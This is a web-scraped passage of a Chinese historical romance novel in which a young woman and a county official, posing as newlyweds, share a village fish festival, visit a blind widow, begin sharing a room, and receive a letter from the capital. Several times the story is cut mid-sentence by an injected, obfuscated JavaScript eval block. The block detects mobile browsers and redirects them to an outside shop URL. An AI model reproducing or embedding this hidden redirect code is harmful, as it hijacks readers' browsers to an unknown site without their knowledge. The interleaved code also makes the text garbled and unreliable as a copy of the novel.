靠近饮马河,微风徐徐拂过,沈京墨的脸颊才降了些温度。 女子一路叽叽喳喳地说个不停,沈京墨才知道她叫柳翠仪,正是那天邀她一起做活的林婶的准儿媳,婚期只晚她和陈君迁一个月。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733581|144577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳翠仪和林婶一样爱说话,尤其是夸起陈君迁来,毫不嘴软。 “娘子,你和小陈大人感情可真好,我和村里好些姐妹都可羡慕了!以前他县衙里事多的时候,能好几天不回家。但是自打你来了,他每天都早出早归,带的吃的还不重样!哎,也不知道林陌然会不会也这样对我。” 前半段沈京墨只当是柳翠仪的猜想,可说到陈君迁日日都回家,她却怔住了。 他每日都回家么?那为何这些天都没瞧见他,甚至连他的声音都不曾听到过一次? 是在躲着她吗?还是在她坦白之前,他就已经开始演上夫妻恩爱了? 可假扮夫妻这件事连他爹和陈川柏都不知道,家里又只有东西两间屋子,那这些日子,他都睡在何处? 沈京墨还在纳闷,柳翠仪却突然拍了拍她的手背,蹦蹦跳跳地眺望前方:“开始了开始了!” 沈京墨被她的情绪感染,竟也期待地朝前面看去。 前方不远处,饮马河边挤满了人,葡萄村的男女老少,只要是走得动的,几乎都在场。 柳翠仪拽着沈京墨拨开人群挤到了最前排。 饮马河从武凌山流出永宁县,大部分河段水流都十分湍急,唯有葡萄村后这一段坡势和缓,水流很慢,水也不深。 二十几个年轻男子赤着上身踩在没过小腿的水中,裤腿高高挽起,从河岸这头一直排到另一头,围成半圈,有的手里抄着网兜,有的抱着水桶,一双双眼睛死死盯着上游的水面。 乍一眼看去,沈京墨立刻赤红着脸转开了视线。 但身边的柳翠仪,还有其他围观的小姑娘和上了岁数的妇人们,全都大大方方地看着,没有一个如她这般羞怯,脸上只有对龙王花落谁家的期待和激动。 “哎,你们说,今年谁能打着龙王?” “去年好像是李家小儿子打着的吧?今年就添了个大胖小子,好看得哟……人家老李头打鱼多年了,家传手艺,我看今年还是他。” “话别说太早,今年小陈大人可也参加了,你看人家那手长腿长的,我赌小陈大人!” “我也猜是小陈大人。可人家娘子已经长得跟个仙女似的了,小陈大人又是十里八乡有名的俊后生,孩子模样肯定差不了,怎么还跟咱们争龙王啊?” “你这话说的,就不许人家新婚夫妻感情好,想讨个好彩头啊?” “哎呀这有什么好吵的?不是有个说法,‘夫妻感情好,龙王怀里跑’嘛,谁家男人疼老婆,那龙王自然会往他那儿去。不过我瞧小陈大人没带工具啊,这恐怕就悬了,我还没听过有人赤手空拳打着龙王的呢。” 身后的妇人们越讨论越激烈。 沈京墨犹豫了一会儿,也悄悄地看回了河面。 这次,她在人群里一眼就瞧见了陈君迁。 他面无表情地站在最中间,个子最高,身材也最健硕,手中什么工具都没有,两手掌心相对收在身前,紧实的腰弯下来,像一头蓄势待发的猛虎。 柳翠仪也看见了他,举起沈京墨的手冲他挥舞:“小陈大人!你家娘子给你送网兜来啦!” 脆生生的话音刚落,陈君迁立刻直起了身子朝岸边看来。 沈京墨被柳翠仪抓着手,只好对他尴尬地笑了一笑。 瞧见她的那一刻,陈君迁眼前一亮,俊朗的脸上也露出一个惊喜的笑容。 他正要来拿网兜,就听围观的人群突然爆发出一阵激动的呼喊—— “鱼群来啦!” 17. 牵手 “鱼群来啦!” 一声吆喝过后,河中的男人们都打起了十二分的精神,盯着从上游飞快游来的鱼群。 陈君迁来不及取网兜,只好对沈京墨挥了挥手,回到了原先的位置上,双腿微分,一双明亮的眼如鹰隼般注视着水面之下。 眼看气氛逐渐紧张,沈京墨也不由得握紧了手里的网兜,转头看向上游。 很快,平静的水面起了波澜,接着波涛越来越大,仔细看去,竟是数不清的黑鱼成群结队地翻涌而来,挤挤挨挨浩浩荡荡,远远看去竟像一座黑色小山在水上漂浮,颇为壮观。 鱼群眨眼就到了陈君迁几人脚下。 不只是河里的人,岸上的人们也伸长了脖子去找那唯一的一条金色龙王。 不多时,只听一个小孩指着水面惊呼“龙王来了”,所有人的目光都随之吸引。 只见一条通体金黄,额上有红斑的大鱼跃出水面,在一众黑鱼之中宛如一道耀眼的阳光。龙王在水里翻腾着,隐藏在黑鱼中,试图从男人们的腿间游走。 距离龙王最近的一个男人见那抹金色直奔自己而来,兴奋地抄起水桶,猛地照着龙王兜头扣去,再逆着水流把桶一翻。 桶里只有几条小臂长的大黑鱼活蹦乱跳。 他身后两人一人拿着渔网,另一人抓着一个瓜瓢,“啪啪”又是两声砸击水面的声音响起,两人一样一无所获。 人群随即乱了起来,二十几个大小伙子各显神通,溅起无数水花。 龙王却灵活地一扭头,朝着陈君迁的方向去了。 “小陈大人!小陈大人龙王过去了!”岸上的人高声喊道。 陈君迁没有被声音干扰,一边顺着水流方向后退,一边将手伸进了水里。 他屏气凝神,默数着龙王的游速和距离。 下一刻,他的身体猛地扑入水面。 几乎是同时,一道渔网从另一个方面冲着龙王而来,侧着伸入水面,又已迅雷不及掩耳之势猛地抬起。 水花飞溅,什么都看不见了。 拿渔网的是李家小儿子,去年的龙王就是被他一网打走。 岸边,他娘子瞧见他网一动,脸上不禁露出骄傲的笑容。 很快,水花落尽。 李家小儿子笑着看向渔网,随即却是一愣。 他抓着杆狠狠颠了一颠,网里的黑鱼颠掉了好几条。可直到渔网见了底,也没瞧见那抹金色。 瞧见他的表情,岸上的人们也呆了一瞬,纷纷惊讶,难道今年龙王没逮着? 下一刻,他身边传来淅淅沥沥的水声。 所有人的视线都移了过去。 只见陈君迁从水中站起身来,一只手正伸进了龙王口中,将那活蹦乱跳无比生猛的大金鱼提出水面。 他用一只手捧着鱼尾,另一只手改去勾鱼鳃,将鱼高高举起,冲着岸上的人群挥舞。 “果然是小陈大人!我就说他会赢!”柳翠仪抓住沈京墨的手激动地摇晃起来,那架势,怕是比林陌然打着龙王还让她激动。 “就是啊,小陈大人头回打龙王就打中了,可见小两口感情真好啊。” “我看是人家娘子在这儿,小陈大人才超常发挥!” “是啊是啊……” 沈京墨听着一句句带乡音的话,虽不能全听懂,也猜得出她们在说什么。 她不敢居功,想要解释是陈君迁厉害,与她在与不在关系不大。 柳翠仪却扯了扯沈京墨的衣袖,带着促狭的笑意提醒她:“你家小陈大人来了。” 沈京墨闻言转过头去,看向饮马河。 河面波光粼粼,鱼群过境,水面重归平静。 他径直向她走来,精壮的上身挂满了水珠,随着走动一滴滴滑下,与下面的水珠汇成一大颗再滚落,滑过他紧实的肌肉,打湿了裤腰边缘的一圈布料。 他脸上也沾上了水,虽然胡乱抹过一把,但还是湿漉漉的,将他本就很深的眉浸染得更浓。 沈京墨看着他一步步走来,一时也不知要说些什么。 一旁的柳翠仪笑着看看她又看看陈君迁,把他的衣裳塞到了她手里。 陈君迁走到沈京墨面前停下,拎着灵王晃了晃,笑意正浓。 一滴水从他额头滑落,沾湿了睫毛。 他本能地甩了下头,想将水珠甩掉。 沈京墨毫无防备,被他这么一甩,身上脸上也沾上了水。 冰凉的触感惹得她猛地向后一缩,扭过脸去躲水。 陈君迁忙道:“抱歉!” 沈京墨只眼睫上被他甩上了几颗细小的水珠,并不碍事。 见他停下,沈京墨也转回过来,摇摇头,将手里的衣裳递给他,轻启薄唇,小声道了句:“恭喜……郎君。” 最后两字细若蚊喃,但陈君迁还是在周遭的嘈杂声中,准确地捕捉到了这声“郎君”。 这两个字由她来念,果然缱绻婉转,陈君迁只觉得像是有什么东西轻轻在他心尖上撩拨了一下,酥酥麻麻的。 他的眼睛顿时亮了。 “今年的龙王,送给娘子。” 陈君迁也迫不及待地换上了新称呼,没有接衣裳,而是把手里的金鱼捧到她面前。 湿淋淋的大鱼还活着,在陈君迁掌心扭来扭去。沈京墨向后撤了半步,不敢去碰。 一旁的几个婶婶瞧见了,纷纷揶揄起他们两个。 “都成亲好几天了,怎么还这么客客气气的?” “你们懂什么,人家上京的大小姐就是这样教的,这叫知书达理!” “哎哟,龙王都让小陈大人捞上来了,说明人家夫妻俩感情好着呢!这是让你们看着不好意思了!快别看别看了,打了那么多鱼,赶紧回家收拾去吧!小陈大人,我给你留两条大的,记得上家取去啊!” “好嘞,谢谢林婶儿!”陈君迁高声谢过,又看回沈京墨,手里的龙王拱了拱,“摸一下脑袋上的红斑,今年有好运。” 沈京墨迟疑了一下:“……真的?” 陈君迁狠狠点头,张大了眼睛,眼神点了点龙王:“别怕,摸吧,我抓着呢。” 沈京墨抬起手来,在空中踌躇了片刻。 她不大相信这说法,但她如今,的确需要些好运气。 深吸一口气,她把手指轻轻放在了龙王额头上那块凹凸不平的红色斑点上,只触碰了一下,就飞快地缩了回去。 湿湿的,滑滑的,触感有点奇怪。 陈君迁被她的小心谨慎逗笑了。 他向同村人借了个水桶,打了半桶水,把龙王放了进去,一手提上水桶,另一只手给沈京墨递了过去。 “回家吧。等下我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一边喂,一边心里默默祈祷。 “金龙王,金龙王,夫妻感情好,龙王怀里跑。你要是灵验就每天都有菜饽饽吃,要是不灵,我就有鱼吃。” 喂完了鱼,他才回屋去拿巾子擦身。 陈大和陈川柏还没回家,陈君迁在西屋里擦过身,打算知会沈京墨一声就去林婶家拿鱼。 他走进东屋,沈京墨已经把他的衣裳叠好放在桌上了,见他进来,便取了交给他。 “我去取鱼。我们这儿的黑鱼肉嫩,待会儿从我爹地里偷两颗葱,加上醋蒸了,你多吃点儿,别都让那臭小子吃了。” 他一边说,一边伸手去抓挠后背。 沈京墨应了声好,见他难受,便问他怎么了。 陈君迁使劲挠了两下,一脸懊恼:“这两天让蚊子叮了几口,没事儿。” 这个季节正是蚊子多的时候,但屋里点了驱蚊的草,沈京墨很少出门,还一次都没被咬过。 她突然想起来柳翠仪说陈君迁这些日子都住在家里的事,但西屋是陈大和陈川柏的,东屋是她的,他能住哪去? 八成是睡在了外面,才让蚊子咬成这样。 沈京墨拿着他衣裳的手指攥得紧紧的,犹豫片刻,还是提议道: “大人日后还是宿在我房中吧。” 18. 鱼刺 “大人日后还是宿在我房中吧。” 陈君迁穿衣裳的手顿时就僵住了。 他震惊地缓缓抬眼看向沈京墨,不知费了多大的力气才勉强压住心中狂喜,嘴角忍到快要抽搐。 沈京墨怕他误会,忙解释:“大人睡在别处难免让人发现。屋里还有些位置,在桌子和柜子间铺张软垫,我睡得开。” 陈君迁抿唇,眼神在她说的那片空地上扫了个来回,暗自丈量比对这自己的身高。 沈京墨也抿着唇,心道他大概是怕心上人误会,她这提议也确实欠妥,不然还是算了…… “要不还是……” “我睡地。” 两人几乎是同时开口,说完便都顿住了。 片刻后,又是同时—— “这如何使得……” “还是什么?” 屋内的氛围一时尴尬起来。 沈京墨颔首不再说话了。 陈君迁见状,把衣裳穿好,做主将这事定下:“地上潮,难免有虫蚁,我糙人一个无所谓,娘……沈小姐就别和我客气了。” 知他是好意,沈京墨也不再推脱。 此事既定,陈君迁去林婶家,拎了五条圆滚滚的黑鱼回来,每条都足有他小臂长。临近晌午,陈大和陈川柏还没回来,他便只杀了一条鱼,将剩下四条丢进水桶里养着,等他们回来再杀。 杀鱼时,沈京墨想来帮忙,但看见那躺在案板上还时不时抽动一下的黑鱼,又想起那滑不留手的黏腻触感,她便站在厨房门口,不敢上前一步了。 陈君迁笑着帮她开脱:“厨房地儿小,站不下两个人。沈小姐回屋去吧,等下杀鱼脏。” 鱼在火上蒸了不多时便熟了。 陈君迁又趁陈大不在,从他地里拔了一小把还未成长的菜叶,焯了下水倒上点醋,又是一道开胃小菜。 他把饭菜端到了东屋,摆好碗筷,招呼沈京墨入座。 这还是他们二人第一次一起用饭。沈京墨坐在陈君迁对面,不免有些拘谨。 陈君迁夹起一大筷鱼肉放进沈京墨碗里:“这种黑鱼又鲜又嫩,你尝尝。” 沈京墨长在上京,多吃猪羊肉,鱼肉不常吃,所以不大会吐刺。以往家中做鱼,她连筷子都不伸一下。 她低头看了看那块白嫩的鱼肉,十分为难地拿筷子夹下指甲盖那么大一小片来,放进口中却不敢嚼,只敢用几颗小牙一点点去抿,等确认没有刺,鱼肉也磨碎成了豆腐渣,一点味道都没了。 陈君迁那头已经啃完了一整个菜饽饽,她才吃下小半块鱼肉。 他看了看她碗里没怎么动过的鱼,还有被吐出的带着肉的鱼刺,想了想便明白过来原因,又夹了一筷子鱼肉,仔仔细细把刺都挑干净了,递到沈京墨面前,又把她的碗拿过来,继续挑刺。 沈京墨见他只顾着为自己去鱼刺,劝他:“大人不必麻烦,我吃不下太多,自己挑就好了。” “没事儿,”陈君迁头也没抬,认真挑着,“这黑鱼刺是多了些,不过味道还是好的。你多吃点儿。” 说完,他又问:“你平日爱吃什么,我明日多给你买些。太瘦了可不行,过段时间日子凉了,容易受寒。” 沈京墨一愣。 她才不瘦!在上京,女子都以丰腴为美,她的身材只算适中,为了吃胖起来,每天下午还得多吃两块点心、一碗甜羹。 只是南下路上颠簸了半个来月,吃不好睡不好,才瘦了一些罢了。 至于爱吃什么,七返糕、玉露团、水晶龙凤糕,还有炙羊肉,都是她喜食的。 可这些东西永宁县没有,沈京墨想了想,只道自己是苦夏,吃什么都没胃口。 说着,她眼前的一碗鱼肉也吃得差不多了,陈君迁又夹来些,被她推拒了一番,他才自己动起筷子来,风卷残云一般将剩下的大半条鱼和青菜打扫了个干净。 用过了饭,沈京墨主动帮陈君迁一起洗碗,却被他拦了下来。 “晌午天热,你回屋歇着吧。就几个碗而已,我洗完正好把茅房顶子盖起来。” 这怎么能行?若是刚成亲那几日,还能用新婚当做理由,可眼下都已成亲五六天了,她再呆在屋里不出来,任谁都要说她这个妻子不合格了。 虽然夫妻是假,但名声她还是在意的。 沈京墨没走,正好趁机问他:“成天什么都不做,我这心里过意不去。村里的女子嫁了人,每日都做些什么呀?” 这里毕竟不是上京,上京女子婚后打理后宅琐事便要占去大部分时间,若夫妻感情好些,再为郎君抚琴、作画,一日便消磨得差不多了。 可这些事在这里都做不了,她反而不知道能干什么了。 陈君迁艰难地思考了起来。 他娘去得早,他没什么印象。虽然常去同村人家中帮忙,但多是些翻地、择菜、做饭之类的体力活,像她这样细皮嫩肉的大小姐,实在不适合做这些。 想了半天,他冲沈京墨神秘地笑了笑:“你答应我,先去歇晌,等晚上天凉快些,我带你出去一趟。” * 傍晚时分,陈君迁和沈京墨早早用过了晚饭。 他没说要带她去哪里、做什么,只是从水桶中选出了一条最小的黑鱼,放进金龙王的酒坛中,接着提起装着三条鱼的水桶,让沈京墨跟紧了自己。 夕阳西下,金红的晚霞染红了葡萄村中家家户户的屋顶,也给一处山坡上的农院点上了些许颜色。 陈君迁拉着沈京墨的手,把她拽上土坡,来到农院前,重重推开了门。 沈京墨紧跟在他身后走了进去,顿时眼前一亮。 四四方方的小院并不大,却意外得干净。四面墙根下种满了花,黄的白的,有的已经盛开,花朵大如拳,有的还只是个花骨朵,微微垂首,半敞的花瓣中露出一点金黄的花蕊。 花丛边放着几个木头削成的玩具,井井有条地排成一列,紧贴着花泥。 陈君迁回过头来看见了她惊喜又意外的神情,不由得也笑了起来。 院里一样只有两间屋子,其中一间的门缓缓打开,一个头发苍白的老妇人扶着门框,一只脚跨了出来,面朝院门的方向。 “是小陈大人吗?” “是我,顾婶,今儿村里打龙王,我来给你送两条鱼。” 陈君迁向老妇人走去,沈京墨的目光也随之望向老妇人。 待视线触及老妇人脸上时,她微微一怔。 老妇人双目紧闭,走起路来双手都扶着墙壁。 是位盲人。 陈君迁放下水桶,快步迎上前去,扶着老妇人的手臂,搬了个板凳让她坐下。 老妇人却像是察觉到了沈京墨的存在一般,指了指她的方向问陈君迁:“带媳妇来了?” 她说话有很浓重的口音,和村里其他人不一样,沈京墨是半个字都没听懂。 只见老妇人指着她连连点头,陈君迁也不知跟她说了什么,把老妇人哄得,笑得都合不拢嘴了。 陈君迁把老妇人按坐到板凳上,从屋里搬了张矮桌出来放到她面前,又说了几句话,提起鱼桶走向沈京墨。 “我去烧鱼,你和顾婶坐一会儿,等饭做好了咱们就走。” 虽然和顾婶是头回见面,但沈京墨还是乖乖点了点头,毕竟做饭她不会,与其去添乱还不如陪老人家坐一坐。 陈君迁在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749702|144577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌边给她也准备了一张板凳。沈京墨刚一坐下,一只手就被顾婶抓住捧在了手里。 顾婶一边轻轻拍打着她的手背,一边对她说了些什么,语气听上去十分慈爱亲切。 沈京墨仔细去听也没听明白,只好向陈君迁投去求助的眼神。 他正蹲在厨房地上处理黑鱼,离着不远,能听清她们两人的对话。但他听见顾婶的话,只是低着头笑,没有回应沈京墨。 沈京墨只好也尴尬地冲顾婶笑。 说了好半天的话,顾婶起身,摸索着往屋里走。沈京墨上去搀扶,却被她按回到了凳子上。 陈君迁让她放心坐着,她也没法踏实等待,担心顾婶目不能视磕着碰着可怎么办。 好在顾婶对家里十分熟悉,不一会儿就从屋里出来了,手里还端着一壶水。 她给沈京墨倒了一杯,推到她手里,重复地说着“喝吧”。 沈京墨低下头去嗅了嗅,竟发现这水中有一股淡淡的花香。她轻抿一口,果然清香扑鼻。 “这是花茶?”她十分惊喜地捧着茶碗,看看顾婶,又看向陈君迁。 “不是茶,就是花,用院子里的花泡的。”陈君迁抽空给她解释。 顾婶听不懂两人说话,就“看”着沈京墨满意地笑,紧接着又热情地给她倒了一杯。 沈京墨又喝了一杯。 再之后,她的杯子就没有空过,她也就一杯接着一杯地喝,直到再也喝不下了,才借口帮忙,去找陈君迁,顺道问他顾婶都说了些什么。 他却只是笑,眼神看向顾婶又看回她:“说你漂亮。” 真是胡言乱语,顾婶明明看不见,如何知道她长得什么样? 沈京墨憋了口气,不理他了。 这一顿饭,陈君迁做了有半个时辰,等到把鱼刺剔了,一大锅菜饽饽也蒸好了,他才和顾婶道别,拉着沈京墨离开。 回家路上天已经黑了,陈君迁把剩下的两条鱼和水桶都留在了顾婶家,如今手里空空,便干脆拉着沈京墨下坡,直到走到平坦的路上也没有松开。 走出去一会儿,他低声开口:“忘了顾婶不会说官话,早知道就让你在家看话本了。” 沈京墨摇摇头,问他顾婶的事。 “一个月前顾婶家出了事,儿子儿媳、还有顾大叔上山打猎,一个也没回来,八成是让老虎叼去了。只留下顾婶和一个小孙子。顾婶哭瞎了眼,日子过不下去。我把家里的银子和能用的药材都送了过来,还是没治好她的眼睛,只能隔三差五来给她做顿饭,陪她说说话。” 他顿了一顿,又道:“本来是想带你去看花的,顾婶家种的花是村子里最多最香最好看的,结果只顾着干活,忘了摘几朵回去。” 他语带歉意,沈京墨不禁浅笑:“花还是长在土里更鲜活,一旦摘下来,不出几日便不美了。” 陈君迁侧目,看见她唇角的笑意,不觉心中一动:“你在上京的家里,也种花?” 提起上京,沈京墨的眼神微微暗了下去,低眸轻语:“嗯,种芙蓉。” “上京的家什么样?” 陈君迁感兴趣地问她。 他这个问题问得太过宽泛,沈京墨一时不知从何处说起,回想了一会儿,才慢慢道:“四进院,前院待客,后院住人。我爹、我娘、我,一人住一苑,每苑都有自己的小厨房。还有一处花园,有假山、水榭、还养了一池锦鲤……” 说起上京的家,沈京墨便打开了话匣子。从沈府建制到名花异草,她都牢牢记得。 她难得如此健谈,陈君迁静静地侧目看着她,也把她说过的话牢牢记在了心里。 回家的路不长,月华披身,静谧安宁。 19. 来信 两人走到家时,陈川柏已经回来了,正蹲在酒坛子边上逗弄里头的金龙王。 看见陈君迁,他扑过来告陈大的状:“都怪爹非要去县里,害得我连打龙王都没看成!哥哥哥快给我讲讲龙王怎么抓住的!” 陈君迁捏了捏他还带着婴儿肥的脸:“用手抓住的。给你留了条鱼,明天吃。睡觉去吧,这么晚了也不知道困。” 陈川柏嘟嘟囔囔着不想走,陈君迁一脚踢在他屁/股上,一连使了几个眼色,他才不情不愿地回去了西屋。 沈京墨就在一旁看着,不禁莞尔。陈川柏年纪小,正是淘气的时候,一天到晚精神头十足。 等院里只剩下他们两个,沈京墨才猛然记起他们今晚要睡在同一间房里。 她开始变得不自在了,局促地搓着自己的手臂,往东屋走去。走到了门口,两个人一前一后站在那,谁也没先进去。 迟疑了片刻,陈君迁开口:“要不我还是睡外面……后院有个凉棚。” 后院倒是不怕被人发现,但凉棚露天,烧驱蚊草也没用。 想起他那一背的蚊子包,沈京墨小幅度地摇摇头,打开门把他让了进去。 陈君迁跨进门内就没再动过,搓着手,等待沈京墨安排。 她先去点了蜡烛。 以前陈家是不用点蜡烛的,天黑了就睡觉,还是她来了之后,才买了几根放在她房中。 烛光幽微,屋中并不亮堂,刚好勉强视物。 沈京墨从柜子里抱出一床被褥来铺在地上,瞧了瞧:“还是我睡地上吧,这儿实在睡不开。”就连她躺下去,只怕也要脚挨着柜子头抵着桌子。 陈君迁上来看了一眼,又观察了一下屋中的排布,一把抱起桌子来挪到了另一头。 沈京墨惊讶:这桌子她也试着搬过,根本连挪动半分都做不到,就像长在了地上似的。这么想着,又对他的力气有了新的认知。 “好了,你去床上吧,这儿够我睡了。”陈君迁放下桌子冲她笑了笑,拽了拽被褥,放到空地正中央,鞋也没脱,大喇喇地躺了上去,长腿一盘,双手枕在脑后。 白天打了龙王,下午又盖好了茅房,晚上又去顾婶家送鱼做饭,这一天下来,他确实累了。 地铺虽然不如床舒服,但相比前两天睡的草席子,这一床被褥已经相当舒适了,陈君迁躺上去不一会儿就睡着了。 吹熄蜡烛,沈京墨摸着黑爬上了床,直挺挺地躺下去,双手交叠搭在小腹上,手指紧紧勾在一起。 她睡不着,双眼直勾勾盯着光秃秃的房顶。 身边不一会儿就传来了陈君迁均匀的呼吸声,沈京墨听见,十分小心地吐出了一口气,转过头去看了他一眼,又立刻把脸扭了回来,呼吸放得愈发轻。 这还是她长大后,第一次与一个男子宿在同间屋子里。虽然一人睡床一人睡地,但屋子本就不大,两个人距离不过三步远,他的呼吸声近得仿佛就在耳畔,似乎她将手伸出床去就会碰到了他。 她就这样盯着屋顶,不知过了多久,睡意迟迟未至,小腹却隐隐传来一股胀意。 沈京墨缓缓瞪大了双眼,露出一副“大事不妙”的表情—— 晚上在顾婶家水喝得太多了。 这可如何是好?现在起身,肯定会惊醒了他。况且外面那么黑,就算有蜡烛,可外面也许还有蛇…… 沈京墨夹紧了双腿,两眼一闭,准备忍到睡着。 忍了好一会儿,她觉得天该亮了,于是悄悄睁开眼来,却发现窗户缝仍是黑的,连一丝天亮的迹象都没有。 事实上她可能连一刻钟都没挨过去。 沈京墨盯着窗缝,小腹处的憋胀感越加明显,她狠狠咬了咬唇,还是控制不住地坐了起来。 前半夜还很亮的月,此时被一大片乌云遮住,只留下一层淡得几不可见的光。 沈京墨实在是忍无可忍,只好壮着胆子下了床,蹑手蹑脚地绕过陈君迁,去桌上取蜡烛。 她赤着脚,怕鞋子踩在地上发出太大动静吵醒了他,便只把绣鞋提在手里,踮着脚往前去。 经过陈君迁身侧时,沈京墨低头看了他一眼,确定他睡得正酣,才又往前迈了一步。 “啪——” 她脚落地时,一只温热的大手准确无误地握住了她纤细的脚踝。 “啊!” 她吓了一跳,回头一看,黑暗中,正对上了一双亮得吓人的眼。 “……”沈京墨努力定了定神,歉疚道,“吵醒你了?” 陈君迁说没有,见她鬼鬼祟祟地起身,声音含糊地问她要做什么。 他看似清醒,其实脑子还没彻底醒过来,手抓在她脚踝上半晌都没松开。 沈京墨轻轻抽了一下腿,才把脚从他手中抽出来。 陈君迁这会儿才算是醒了,坐起身来看了她两眼,笑了一声帮她找鞋:“怎么鞋也不穿。” 他的声音带着睡意模糊时特有的沙哑,比平时还要低沉一些。沈京墨也不知是不是自己的错觉,竟从中听出一丝温柔和亲昵。 她脸色微红,好在幽暗的光线很好的掩饰了这一点。 “我出去一下,不打扰大人。” 陈君迁揉了揉眼睛,反正他已经醒了,一时半会儿很难再入睡,便干脆站起身来:“想吃什么,还是喝水?我帮你拿。” 他当她是饿了或者渴了,边等她回答边往外走。 沈京墨这下更加窘迫,一时没说话。 陈君迁没等到她的回应,走出去几步又回头看她。 沈京墨扭捏地攥着衣角,小脸胀得通红,半晌,才弱弱地挤出一句:“我……要如厕。” “什么?”他没听清。 “……去茅房!” 这下他总算听清了,笑她:“上茅房就去嘛,鬼鬼祟祟地,我还以为进贼了。” 他说着便往回走:“正好今天下午给你盖好了,去吧。” 等他重新躺到地上,沈京墨才穿上鞋子,点了蜡烛飞快地冲到了门口。 打开门,屋外一片漆黑。 眼下已是半夜,村子里一点响动都没有,偶尔夜风吹拂,院外的草丛发出窸窸窣窣的声音,似乎有什么东西在里面爬动。 沈京墨脚步一顿,紧张地抿起了唇。 在上京,她入睡后门外也会有丫鬟值守,不管要起夜还是做别的什么,翠蝉都会打着灯笼陪她一道。 如今只有她一人,天又那么阴沉,蜡烛只能照亮眼前方寸之地,稍远两步便都是漆黑一片,她不敢出去。 半天没见动静,闭上眼准备睡觉的陈君迁又坐了起来,朝门口一看,她果然还没去。 “害怕?”他站起身向她走去,“我陪你?” 沈京墨一惊,这怎么能行?! 但她实在是忍不住了。 咬咬牙,她红着脸道:“有劳大人送我过去。” 陈君迁一路跟在她身后,等她进了茅房,知道她脸皮薄,又特意走远了些去等她。 夜风一吹,他又清醒了些,走到酒坛边,探头瞅了瞅里面的金龙王,心道这玩意儿竟还真有些灵验,前些日子还闭门不见的娘子,今日都肯让他睡屋里了。 他撵了一把菜饽饽丢进去,正好沈京墨也出来了。 拍掉手上的渣子,他大步迎了上去,帮她舀水净了手,又接过蜡烛带她回屋。 “你提醒我了,里面缺个夜里放蜡烛的地方。我明儿回来弄。” 他认真地反思着茅房的欠缺之处,沈京墨哪肯跟他讨论这个?就咬着唇不说话。 刚一进屋,她就小跑两步扎进床里,拽过被子把自己整个人都裹了起来,连眼睛也不肯露出来。 陈君迁放下蜡烛,回到自己的地铺,看见她那副模样,忍不住觉得好笑:“人有三急,这有什么不好意思的?天热,出来吧,别闷坏了。” 沈京墨没听他的,缩在被子里,闷声闷气地说:“这等私密的事……就是会不好意思的。下次睡前再也不喝水了。” 陈君迁失笑,也只得随她去了。 解决了生理问题,沈京墨心情也放松下来,抱着被子不一会儿就睡着了。 一夜好眠。 第二天一大早,趁着沈京墨还没起床,陈君迁就去县衙上值了。 也幸亏他走得早,否则沈京墨醒来,想起昨晚的事,又要羞得把脸埋进被子里不肯起床了。 *35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢遇欢的提议不无道理,但陈君迁想了一会儿,又怕县衙人多眼杂,会发现破绽。虽然被萧景垣盯上是麻烦,但被人发现欺君更是麻烦,两相权衡一下,还是算了。 毕竟萧景垣虽混账,在他面前也只是个外厉内荏的混账。皇帝可就不一样了。 更何况——他抬眼瞄了一眼狐狸一样的谢遇欢——这厮白白净净斯斯文文,看上去跟他所说的上京公子哥差不多,开扇一笑能迷倒半个永宁县的大姑娘小媳妇,整天在沈京墨面前晃悠,那可不行。 他摇了摇头:“再说吧。” 谢遇欢不知道他这么一小会儿就已经想了那么多,又劝了一句:“嫂夫人不搬就不搬,不过大人你可得悠着点儿……” 他拿扇子指了指自己的眼圈:“黑眼圈都快和我差不多了。新婚燕尔,嫂夫人又貌若天仙,可以理解,但也别太过了,昂?” 陈君迁抬起头来,送给他一张面无表情的脸。 门外,高衙役和矮衙役趴在门上悄悄观察陈君迁。 “你说狗头铡咱今儿还擦么?我怎么感觉大人心情还行啊……” 两衙役还没观察出个结果,就被人拍了拍肩,吓得两人一声大叫,惊动了屋里的陈君迁。 “什么事儿?” 屋外磨蹭了一会儿,高衙役捧着一封信跑了进来,递到他面前。 “大人,邮驿来人说,上京传来一封信,说是交给咱县衙的。但信上的名字我不认识,咱这儿没这号人。” 陈君迁将信交给身边的谢遇欢。 谢遇欢一看便笑了,一字一顿道:“沈、京、墨、亲、启——” 听见沈京墨的名字,陈君迁立马把信夺了回来,抬头问高衙役:“谁写的信?” “好像是……傅府!” “傅府……?”陈君迁转头看向谢遇欢。 谢遇欢在心里头默默念了两遍这名字,扇子一拍,想起来了。 “八成是傅升,当今的尚书左仆射,百官之首。我在上京时听说傅府和沈府只有一墙之隔,没记错的话,嫂夫人的父亲就是傅大人一手提拔。傅大人的长子傅修远,是上京有名的才子,长得也是玉树临风,堪称上京六百少女的梦。” 他说着,坏笑起来,扇子在信上一下下点动:“据说和嫂夫人还是青梅竹马呢,要是沈家没出这档子事,兴许人家都成亲了。怎么样,情敌来信,要不我先替你看看?” 